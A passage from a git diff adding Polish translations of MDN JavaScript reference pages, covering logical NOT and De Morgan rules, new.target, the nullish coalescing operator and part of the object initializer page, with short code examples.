(<code>!</code>)</a></h3> + +<p>Poniżej pokazane są przykłady użycia operatora <code>!</code> (logicznego NOT).</p> + +<pre class="brush: js">n1 = !true // !t zwraca false +n2 = !false // !f zwraca true +n3 = !'Cat' // !t zwraca false +</pre> + +<h4 id="Podwójne_NOT_!!">Podwójne NOT (<code>!!</code>)</h4> + +<p>Jest możliwe użycie kilku operatorów NOT naraz, by wprost wymusić konwersję dowolnej wartości do odpowiedniej wartości <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Boolean_type">boolowskiej</a>. Konwersja bazuje na „prawdziwości” lub „fałszywości” wartości (zobacz {{Glossary("truthy")}} i {{Glossary("falsy")}}).</p> + +<p>Taka sama konwersja może być dokonana poprzez funkcję {{jsxref("Boolean")}}.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">n1 <span class="operator token">=</span> <span class="operator token">!</span><span class="operator token">!</span><span class="boolean token">true</span> <span class="comment token">// !!prawda zwraca true</span> +n2 <span class="operator token">=</span> <span class="operator token">!</span><span class="operator token">!</span><span class="punctuation token">{</span><span class="punctuation token">}</span> <span class="comment token">// !!prawda returns true: każdy obiekt jest "prawdą"...</span> +n3 <span class="operator token">=</span> <span class="operator token">!</span><span class="operator token">!</span><span class="punctuation token">(</span><span class="keyword token">new</span> <span class="class-name token">Boolean</span><span class="punctuation token">(</span><span class="boolean token">false</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="comment token">// ...nawet obiekty booloweskie z false jako wartością .valueOf()!</span> +n4 <span class="operator token">=</span> <span class="operator token">!</span><span class="operator token">!</span><span class="boolean token">false</span> <span class="comment token">// !!fałsz zwraca false</span> +n5 <span class="operator token">=</span> <span class="operator token">!</span><span class="operator token">!</span><span class="string token">""</span> <span class="comment token">// !!fałsz zwraca false</span> +n6 <span class="operator token">=</span> <span class="operator token">!</span><span class="operator token">!</span><span class="function token">Boolean</span><span class="punctuation token">(</span><span class="boolean token">false</span><span class="punctuation token">)</span> <span class="comment token">// !!fałsz zwraca false</span></code></pre> + +<h3 id="Zasady_przekształcania_wyrażeń">Zasady przekształcania wyrażeń</h3> + +<h4 id="Przekształcanie_AND_na_OR">Przekształcanie AND na OR</h4> + +<p>Poniższa operacja na wartościach logicznych:</p> + +<pre class="brush: js">bCondition1 && bCondition2</pre> + +<p>jest zawsze równa:</p> + +<pre class="brush: js">!(!bCondition1 || !bCondition2)</pre> + +<h4 id="Przekształcanie_OR_na_AND">Przekształcanie OR na AND</h4> + +<p>Poniższa operacja na wartościach logicznych:</p> + +<pre class="brush: js">bCondition1 || bCondition2</pre> + +<p>jest zawsze równa:</p> + +<pre class="brush: js">!(!bCondition1 && !bCondition2)</pre> + +<h4 id="Przekształcanie_NOT">Przekształcanie NOT</h4> + +<p>Poniższa operacja na wartościach logicznych:</p> + +<pre class="brush: js">!!bCondition</pre> + +<p>jest zawsze równa:</p> + +<pre class="brush: js">bCondition</pre> + +<h3 id="Usuwanie_zagnieżdżonych_wyrażeń_z_nawiasami">Usuwanie zagnieżdżonych wyrażeń z nawiasami</h3> + +<p>Jako że wyrażenia logiczne są ewaluowane od lewej do prawej, jest zawsze możliwe usunięcie nawiasów ze złożonego wyrażenia przy użyciu pewnych, przedstawionych dalej, reguł.</p> + +<h4 id="Usuwanie_zagnieżdżonego_AND">Usuwanie zagnieżdżonego AND</h4> + +<p>Następujące wyrażenie złożone na wartościach logicznych:</p> + +<pre class="brush: js">bCondition1 || (bCondition2 && bCondition3)</pre> + +<p>jest zawsze równe:</p> + +<pre class="brush: js">bCondition1 || bCondition2 && bCondition3</pre> + +<h4 id="Usuwanie_zagnieżdżonego_OR">Usuwanie zagnieżdżonego OR</h4> + +<p>Następujące wyrażenie złożone na wartościach logicznych:</p> + +<pre class="brush: js">bCondition1 && (bCondition2 || bCondition3)</pre> + +<p>jest zawsze równe:</p> + +<pre class="brush: js">!(!bCondition1 || !bCondition2 && !bCondition3)</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Uwagi</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Definicja początkowa.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-11.11')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Zdefiniowane w kilku sekcjach specyfikacji: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4.9">Logical NOT Operator</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.11">Binary Logical Operators</a></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-binary-logical-operators')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Zdefiniowane w kilku sekcjach specyfikacji: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-logical-not-operator">Logical NOT Operator</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-binary-logical-operators">Binary Logical Operators</a></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-binary-logical-operators')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td>Zdefiniowane w kilku sekcjach specyfikacji: <a href="http://tc39.github.io/ecma262/#sec-logical-not-operator">Logical NOT Operator</a>, <a href="http://tc39.github.io/ecma262/#sec-binary-logical-operators">Binary Logical Operators</a></td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + + + +<p>{{Compat("javascript.operators.logical")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Bitwise operators</a></li> + <li><a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean">Boolean</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/operatory/new.target/index.html b/files/pl/web/javascript/referencje/operatory/new.target/index.html new file mode 100644 index 0000000000..8b60074e92 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/new.target/index.html @@ -0,0 +1,134 @@ +--- +title: new.target +slug: Web/JavaScript/Referencje/Operatory/new.target +translation_of: Web/JavaScript/Reference/Operators/new.target +--- +<div>{{JSSidebar("Operators")}}</div> + +<p><strong><code>new.target</code></strong> pozwala sprawdzić czy konstruktor lub funkcja była zainicjalizowana używając operatora <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a>. Kiedy w konstruktorze lub funkcji zainicjalizowany jest operatora <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a>, <code>new.target</code> zwraca referencje do konstruktora lub funkcji. W normalnym wywołaniu funkcji, <code>new.target</code> jest {{jsxref("undefined")}}.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">new.target</pre> + +<h2 id="Opis">Opis</h2> + +<p><code>new.target</code> składa się ze słowa <code>"new</code>", kropki i pola o nazwie <code>"target"</code>. Przeważnie "<code>new."</code> jest kontekstem dostępu do pola, ale w tym przypadku "new." nie jest tak naprawdę obiektem. W wywołaniu konstruktora, <code>new.target</code> nawiązuje do konstruktora wywołanego przez <code>new</code> więc "<code>new.</code>" staje się wirtualnym kontekstem.</p> + +<p><code><font face="Open Sans, Arial, sans-serif">Pole </font>new.target</code> jest meta polem które jest dostępne dla wszystkich funkcji. W <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a>, <code>new.target</code> nawiązuje do <code>new.target</code> otaczającej funkcji.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="new.target_w_wywołaniu_funkcji">new.target w wywołaniu funkcji</h3> + +<p>W normalnym wywołaniu funkcji (w przeciwieństwie do wywołania konstruktora), <code>new.target</code> jest {{jsxref("undefined")}}. Pozwala Ci to stwierdzić, czy funkcja została wywołana wraz z <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a> jako konstruktor.</p> + +<pre class="brush: js">function Foo() { + if (!new.target) throw "Foo() must be called with new"; + console.log("Foo instantiated with new"); +} + +Foo(); // throws "Foo() must be called with new" +new Foo(); // logs "Foo instantiated with new" +</pre> + +<h3 id="new.target_w_konstruktorze">new.target w konstruktorze</h3> + +<p>W konstruktorach klasy, <code>new.target</code> nawiązuje do konstruktora który został bezpośrednio wywołany z <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a>. Dzieje się tak również w przypadku kiedy konstruktor znajduje się w klasie rodzica, i został wywołany z konstruktorze dziecka.</p> + +<pre class="brush: js">class A { + constructor() { + console.log(new.target.name); + } +} + +class B extends A { constructor() { super(); } } + +var a = new A(); // logs "A" +var b = new B(); // logs "B" +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-built-in-function-objects', 'Built-in Function Objects')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-built-in-function-objects', 'Built-in Function Objects')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(46.0)}}</td> + <td>{{CompatGeckoDesktop(41)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(46.0)}}</td> + <td>{{CompatGeckoMobile(41)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(46.0)}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Functions</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code></li> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code></li> +</ul> diff --git a/files/pl/web/javascript/referencje/operatory/nullish_coalescing_operator/index.html b/files/pl/web/javascript/referencje/operatory/nullish_coalescing_operator/index.html new file mode 100644 index 0000000000..c8a264e50e --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/nullish_coalescing_operator/index.html @@ -0,0 +1,251 @@ +--- +title: Operator null'owego scalania (??) +slug: Web/JavaScript/Referencje/Operatory/Nullish_coalescing_operator +tags: + - JavaScript + - Language feature + - Operator + - Reference + - nullish coalescing +translation_of: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator +--- +<p>{{JSSidebar("Operators")}}</p> + +<p><strong>Operator null'owego scalania (<code>??</code>)</strong> - to operator logiczny, stosowany w wyrażeniach, który zwraca to co jest po jego lewej stronie, tak długo, jak to nie jest <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null">null</a></code>, albo <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined">undefined</a></code>, wtedy zwraca to, co jest po prawej.</p> + +<div class="blockIndicator note"> +<p>Początkowo ewaluowane jest tylko wyrażenie z lewej strony.<br> + Dopiero, gdy zachodzi taka potrzeba, ewaluowane jest prawe wyrażenie.</p> +</div> + +<p>Jest podobny do <strong>logicznego operatora LUB (<code>||</code>)</strong> ( <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_OR">Logical OR (||)</a> ), ale <strong>LUB</strong> decyduje o tym, czy wziąć prawą wartość, na innej podstawie:<br> + <em>Czy lewa wartość jest fałszopodobna</em> (<a href="/en-US/docs/Glossary/Falsy">Falsy</a>)<em>?</em><br> + <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null">null</a></code> i <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined">undefined</a></code> są fałszopodobne, ale sęk w tym, że nie tylko one, ale również np. <code>0</code>, czy <code>""</code>. Czasem nie chce się podmieniać niczego za <code>0</code> i <code>""</code>, uważając je za dopuszczalne wartości.<br> + Wtedy właśnie przydaje się ten operator.</p> + +<div>{{EmbedInteractiveExample("pages/js/expressions-nullishcoalescingoperator.html")}}</div> + +<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.<br> + See <a href="https://github.com/mdn/interactive-examples/pull/1482#issuecomment-553841750">PR #1482</a> regarding the addition of this example.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate"><u>LWyr</u> ?? <u>PWyr</u></pre> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Pole</th> + <th scope="col">Opis</th> + </tr> + </thead> + <tbody> + <tr> + <td>LWyr</td> + <td>Wyrażenie główne, ewaluowane na początku.<br> + Jeżeli jego wartość wynikowa jest <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null">null</a></code>, albo <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined">undefined</a></code>, to nie ona zostanie zwrócona, ale wartość wynikowa wyrażenia <u>PWyr</u>. </td> + </tr> + <tr> + <td>PWyr</td> + <td>Wyrażenie zamienne, ewaluowane, kiedy wartość <u>LWyr</u> jest <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null">null</a></code>, albo <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined">undefined</a></code>.</td> + </tr> + </tbody> +</table> + +<h2 id="Przykłady"><span style="">Przykłady</span></h2> + +<h3 id="Użycie_operatora">Użycie operatora</h3> + +<p>W tym przykładzie użyjemy <strong>operatora null'owego scalania</strong> do podania zapasowych wartości, przy inicjowaniu stałych:</p> + +<pre class="brush: js notranslate">const wartoscNull = null; +const warA = wartoscNull ?? "domyślne dla A"; +console.log(warA); + +// konsola: "domyślne dla A" + + + +const pustyTekst = ""; // fałszopodobny +const warB = pustyTekst ?? "domyślne dla B"; +console.log(warB); + +// konsola: "" +// ponieważ "??" reaguje tylko konkretnie na null albo undefined + + + +const jakasLiczba = 42; +const warC = jakasLiczba ?? 0; +console.log(warC); + +// konsola: 42</pre> + +<h3 id="Porównanie_działania_i">Porównanie działania "??" i "||"</h3> + +<p>Wcześniej przed pojawieniem się tego operatora, używano <strong>LUB (<code>||</code>) (<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_OR">Logical OR (||)</a>)</strong>:</p> + +<pre class="notranslate">let liczba; +let zabezpLicz = liczba || 1; +// zmienna "wejscie" nie była nigdy zapełniona żadną wartością, +// więc była "undefined", a undefined jest fałszopodobne, więc +// JavaScript wziął zapasowe '1'. + +console.log(2 * zabezpLicz); +// konsola: 2 +</pre> + +<p>To działa, ale...<br> + przez to jakim operatorem jest <strong>LUB</strong>, nie tylko <code>undefined</code> zostanie tu zamienione, ale też i <code>0</code>, które, w kontekście tego przykładu, powiedzmy, że jest wartością, która powinna być ok:</p> + +<pre class="brush: js notranslate">let liczba = 0; +let zabezpLicz = liczba || 1; +// zmienna "wejscie" została zapełniona zerem, ale jest fałszopodobne, +//więc JavaScript wziął zapasowe '1'. + +console.log(2 * zabezpLicz); +// konsola: 2 +// chcieliśmy: 0 +</pre> + +<p>Operator null'owego scalania rozwiązuje ten problem:</p> + +<pre class="brush: js notranslate">let liczba = 0; +let zabezpLicz = liczba ?? 1; +// zmienna "wejscie" została zapełniona zerem, +//mimo tego, że jest fałszopodobne, "??" akceptuje je, bo to nie null, ani undefined, i +//JavaScript zostawia '0'. + +console.log(2 * zabezpLicz); +// konsola: 0 +</pre> + +<h3 id="Pomijanie_ewaluacji">Pomijanie ewaluacji</h3> + +<p>Podobnie jak inne operatory logiczne <strong>LUB (<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_OR" style="">Logical OR (||)</a>)</strong> i <strong>I (<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_AND">Logical AND (&&)</a>)</strong>, ten operator rozpoczyna od ewaluacji wyrażenia po lewej stronie, i dopiero gdy trzeba, zajmuje się prawą stroną:</p> + +<pre class="brush: js notranslate">function A(){ + console.log("Tu A!"); + return false; +} +function B(){ + console.log("Tu B!"); + return true; +} + +if( A() ?? B() ) console.log("Otrzymano 'true'"); +else console.log("Otrzymano 'false'"); +// konsola: "Otrzymano 'false'" +</pre> + +<p>i :</p> + +<pre class="brush: js notranslate">function A(){ + console.log("Tu A!"); + return null; // teraz tu jest zwracany null, na który reaguje "??" +} +function B(){ + console.log("Tu B!"); + return true; +} + +if( A() ?? B() ) console.log("Otrzymano 'true'"); +else console.log("Otrzymano 'false'"); +// konsola: "Otrzymano 'true'"</pre> + +<h3 id="Nie_działa_seryjnie_ani_z_LUB_ani_z_I">Nie działa seryjnie, ani z LUB, ani z I</h3> + +<p>W wyrażeniach, nie można stawiać zwyczajnie <strong>operatora null'owego scalania</strong> w otoczeniu operatorów <strong>LUB</strong> i <strong>I</strong>, mimo ustalonej kolejności wykonywania działań. Będzie to odbierane jako błąd składniowy:</p> + +<pre class="brush: js example-bad notranslate">null || undefined ?? "yyy..."; // to będzie SyntaxError +true || undefined ?? "aha."; // to też będzie SyntaxError +//bo tu chodzi o to, że jest "||" i "??" razem, nie o wartości. +</pre> + +<p>Trzeba je rozdzielić nawiasami:</p> + +<pre class="brush: js example-good notranslate">(null || undefined) ?? "yyy..."; // zwraca: "yyy..." +null || (undefined ?? "działa!"); // zwraca: "działa!" +</pre> + +<h3 id="Odniesienie_do_Operatora_opcjonalnego_dostępu_.">Odniesienie do Operatora opcjonalnego dostępu "?."</h3> + +<p>Sposób w który <strong>operator null'owego scalania</strong> pracuje z wartościami <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null" style="">null</a></code> i <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined">undefined</a></code>, jest intuicyjny analogicznie u <strong>operatora opcjonalnego dostępu</strong> (<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining">Optional chaining (?.)</a>, i razem pozwalają na ciekawe akcje, np.:</p> + +<pre class="notranslate">class objekt{ + tekst; + + constructor(tekst = null){ + this.tekst = tekst; + } + + odczytTekst(){ + return this.tekst; + } + wpisTekst(w){ + this.tekst = w; + return true; + } +} + +let objekty = [new objekt("cześć!"), null, new objekt()]; + + + +// zadanie kodu: zamień tekst'y w objekt'ach na duże litery, +// używając funkcji dostępu, a pozostawiając puste wartości +// bez zmian + + +// wersja typeof +for(let i = 0; i < objekty.length; i++) + if(typeof(objekty[i]) == "object") + if(typeof(objekty[i].odczytTekst()) == "string") + objekty[i].wpisTekst(objekty[i].odczytTekst().toUpperCase()); + + +// wersja operatorów "??" i "?." +for(let i = 0; i < objekty.length; i++) + objekty[i]?.wpisTekst(objekty[i]?.odczytTekst()?.toUpperCase() ?? null); + +console.log(objekty); +</pre> + +<p>Czasami użycie tych operatorów upraszcza kod.<br> + Poza tym każda funkcja jest wywoływana najwyżej raz i może to być co kolwiek.</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#prod-Nulli', 'nullish coalescing expression')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + + + +<p>{{Compat("javascript.operators.nullish_coalescing")}}</p> + +<h3 id="Postępy_implementacji">Postępy implementacji</h3> + +<p>Tabelka pod spodem pokazuje codzienny status implementacji tej funkcji. Jest tak, ponieważ nie osiągnięto jeszcze stabilności między przeglądarkami.<br> + Dane są generowane, poprzez przeprowadzanie odpowiednich testów funkcji w <a href="https://github.com/tc39/test262" style="">Test262</a>, standardowym zestawie testów dla JavaScripta, na najnowszych kompilacjach (en: "nightly build"), lub najnowszych wydaniach (en: "latest release") silników JavaScripta przeglądarek.</p> + +<div>{{EmbedTest262ReportResultsTable("coalesce-expression")}}</div> + +<h2 id="Zobacz_też...">Zobacz też...</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining">The optional chaining operator</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR_2">The logical OR (<code>||</code>) operator</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">Default parameters in functions</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/operatory/object_initializer/index.html b/files/pl/web/javascript/referencje/operatory/object_initializer/index.html new file mode 100644 index 0000000000..4148cc07d1 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/object_initializer/index.html @@ -0,0 +1,387 @@ +--- +title: Inicjalizator obiektu +slug: Web/JavaScript/Referencje/Operatory/Object_initializer +translation_of: Web/JavaScript/Reference/Operators/Object_initializer +--- +<div>{{JsSidebar("Operators")}}</div> + +<p>Obiekty można tworzyć używając <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>new Object()</code></a>,<code> <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create()</a></code>, bądź wykorzystując notację literałową (notację <em>inicializacyjną</em>). Inicjalizator obiektu to lista zera lub więcej par - nazw właściwości oraz ich wartości - otoczonych nawiasami klamrowymi (<code>{}</code>).</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="brush: js">var o = {}; +var o = { a: "foo", b: 42, c: {} }; + +var a = "foo", b = 42, c = {}; +var o = { a: a, b: b, c: c }; + +var o = +{ + <var>wlasciwosc: function </var>([<var>parametry</var>]) {}, + get <var>wlasciwosc</var>() {}, + set <var>wlasciwosc</var>(<var>wartosc</var>) {}, +}; +</pre> + +<h3 id="Nowe_notacje_w_ECMAScript_2015">Nowe notacje w ECMAScript 2015</h3> + +<p>Pamiętaj aby zapoznać się z tabelą kompatybilności. Środowiska nie obsługujące tych notacji będą wyrzucać błędy składni.</p> + +<pre class="brush: js">// Skrótowe nazwy właściwości (ES6) +var a = "foo", b = 42, c = {}; +var o = { a, b, c }; + +// Skrótowe nazwy metod (ES6) +var o = { + <var>wlasciwosc</var>([<var>parametry</var>]) {}, + get <var>wlasciwosc</var>() {}, + set <var>wlasciwosc</var>(<var>wartosc</var>) {}, + * <var>generator</var>() {} +}; + +// Obliczone nazwy właściwości (ES6) +var nazwa = "foo"; +var o = { + [nazwa]: "dzien", + ["b" + "ar"]: "dobry", +};</pre> + +<h2 id="Opis">Opis</h2> + +<p>Inicjalizator obiektu to wyrażenie opisujące inicjalizację obiektu {{jsxref("Object")}}. Obiekty składają się z <em>właściwości</em> używanych do opisywania obiektu. Wartości tych właściwości mogą zawierać {{Glossary("primitive")}} typy danych albo inne obiekty.</p> + +<h3 id="Tworzenie_obiektów">Tworzenie obiektów</h3> + +<p>Pusty obiekt możemy stworzyć w taki sposób:</p> + +<pre class="brush: js">var obiekt = {};</pre> + +<p>Jednak prawdziwą przewagą notacji literałowej jest możliwość tworzenia w szybki sposób obiektów ze zdefiniowanymi od razu właściwościami. Wystarczy wypisać listę kluczy: wartości odzdzielonych dwukropkiem. Poniższy przykład tworzy obiekt <code>osoba</code> z trzema właściwościami: "<code>imie</code>", "<code>wiek</code>" i "<code>wyglad</code>". Ich wartościami jest string "<code>Adam</code>", numer <code>42</code> oraz inny obiekt.</p> + +<pre class="brush: js">var osoba = +{ + imie: "Adam", + wiek: 42, + wyglad: { wzrost: 179 }, +}</pre> + +<h3 id="Dostęp_do_właściwości">Dostęp do właściwości</h3> + +<p>Kiedy już stworzyłeś obiekt, możesz chcieć zobaczyć lub zmienić jego właściwości. Można zrobić to używając zapisu z kropką lub nawiasami. Zajrzyj do <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_pamięci">operatorów pamięci</a> po więcej informacji.</p> + +<pre class="brush: js">object.imie; // "Adam" +object["wiek"]; // 42 + +object.imie = "Ewa"; +</pre> + +<h3 id="Definiowanie_właściwości">Definiowanie właściwości</h3> + +<p>Nauczyliśmy się już jak zapisywać właściwości używając notacji literałowej. Czasami jednak mamy w kodzie zmienne, które chcielibyśmy dodać do naszego obiektu. Możemy to zrobić w taki sposób:</p> + +<pre class="brush: js">var a = "foo", + b = 42, + c = {}; + +var o = +{ + a: a, + b: b, + c: c +};</pre> + +<p>Ale ECMAScript 2015 oddaje nam do dyspozycji krótszy zapis, pozwalający uzyskać ten sam efekt:</p> + +<pre class="brush: js">var a = "foo", + b = 42, + c = {}; + +// Skrótowe nazwy właściwości (ES6) +var o = { a, b, c };</pre> + +<h4 id="Duplikowanie_nazw_właściwości">Duplikowanie nazw właściwości</h4> + +<p>W momencie, gdy użyjemy już istniejącej nazwy właściwości jej wartość nadpisze tę poprzednią.</p> + +<pre class="brush: js">var a = {x: 1, x: 2}; +console.log(a); // { x: 2} +</pre> + +<p>W ECMAScript 5 <em>strict mode,</em> duplikowanie nazw właściwości było postrzegane jako {{jsxref("SyntaxError")}}. Zmieniono to jednak po wprowadzeniu obliczanych nazw właściwości. Duplikacja stała się wówczas możliwa podczas wykonywania kodu, dlatego też w ECMAScript 2015 usunięto tę rystrykcję.</p> + +<pre class="brush: js">function czyES6UmozliwiaDuplikowanieWlasciwosci() +{ + "use strict"; + try + { + ({ prop: 1, prop: 2 }); + + // Nie wyrzucono błędu, duplikacja dozwolona w <em>strict mode</em>. + return true; + } + catch (e) + { + // Wyrzucono błąd, duplikacja w <em>strict mode</em> zabroniona. + return false; + } +}</pre> + +<h3 id="Definicje_metod">Definicje metod</h3> + +<p>Właściwość obiektu może również odnosić się do <a href="pl/docs/Web/JavaScript/Reference/Functions">funkcji</a> albo metody <a href="/pl/docs/Web/JavaScript/Reference/Functions/get">getter</a> lub <a href="/pl/docs/Web/JavaScript/Reference/Functions/set">setter</a>.</p> + +<pre class="brush: js">var o = { + <var>wlasciwos: function </var>([<var>parametry</var>]) {}, + get <var>wlasciwos</var>() {}, + set <var>wlasciwos</var>(<var>wartosc</var>) {}, +};</pre> + +<p>w ECMAScript 2015, mamy dostęp do skróconego zapisu, takiego w którym słowo kluczowe "function" nie jest nam już potrzebne.</p> + +<pre class="brush: js">// Shorthand method names (ES6) +var o = { + <var>property</var>([<var>parameters</var>]) {}, + get <var>property</var>() {}, + set <var>property</var>(<var>value</var>) {}, + * <var>generator</var>() {} +};</pre> + +<p>W ECMAScript 2015 możemy również w prostszy sposób zapisać właściwość będącą funkcją generatora:</p> + +<pre class="brush: js">var o = { + * <var>generator</var>() { + ........... + } +};</pre> + +<p>W ECMAScript 5 musielibyśmy zapisać to tak (aczkolwiek pamiętaj że w ES5 nie ma generatorów):</p> + +<pre class="brush: js">var o = { + generator<var>: function *</var>() { + ........... + } +};</pre> + +<p>Po więcej informacji zajrzyj do <a href="/pl/docs/Web/JavaScript/Reference/Functions/Method_definitions">definicji metod</a>.</p> + +<h3 id="Obliczone_nazwy_właściwości">Obliczone nazwy właściwości</h3> + +<p>Od ECMAScript 2015, składnia inicjalizatora obiektu wspiera także obliczone nazwy właściwości. Umożliwia to umieszczenie wyrażenia w nawiasach <code>[]</code>, które potem zostanie przeliczone na nazwę właściwości. Działa to na tej samej zasadzie co zapis klamrowy w <a href="/pl/docs/Web/JavaScript/Reference/Operators/Property_Accessors">operatorach pamięci</a>, z którymi zapewne miałeś już styczność. Teraz możemy użwać tej samej składni w notacji literałowej:</p> + +<pre class="brush: js">// Obliczone nazwy właściwości (ES6) +var i = 0; +var a = { + ["foo" + ++i]: i, + ["foo" + ++i]: i, + ["foo" + ++i]: i +}; + +console.log(a.foo1); // 1 +console.log(a.foo2); // 2 +console.log(a.foo3); // 3 + +var param = 'typ'; +var info = { + [param]: 'strona', + ["pod" + param.charAt(0).toUpperCase() + param.slice(1)]: 'forum' +}; + +console.log(info); // { typ: 'strona', 'podTyp': 'forum' }</pre> + +<h3 id="Zmiana_prototypu">Zmiana prototypu</h3> + +<p>Definicja właściwości w formie <code>__proto__: wartosc</code> albo <code>"__proto__": wartosc</code> nie stworzy właściwości z nazwą <code>__proto__</code>. Zamiast tego, jeżeli podana wartość jest obiektem lub typem <code>null</code>, zamieni ona <code>[[Prototype]]</code> tworzonego obiektu na podaną wartość. (Jeżeli wartość nie jest ani obiektem ani typem <code>null</code> prototyp nie zostanie zmieniony.)</p> + +<pre class="brush: js">var obj1 = {}; +console.log(Object.getPrototypeOf(obj1) === Object.prototype); // true + +var obj2 = { __proto__: null }; +console.log(Object.getPrototypeOf(obj2) === null); // true + +var protoObj = {}; +var obj3 = { "__proto__": protoObj }; +console.log(Object.getPrototypeOf(obj3) === protoObj); // true + +var obj4 = { __proto__: "not an object or null" }; +console.log(Object.getPrototypeOf(obj4) === Object.prototype); // true +console.log(!obj4.hasOwnProperty("__proto__")); // true +</pre> + +<p>Podczas notacji literałowej możemy zmienić prototyp tylko raz, kolejne próby będą skutkować błędami składni.</p> + 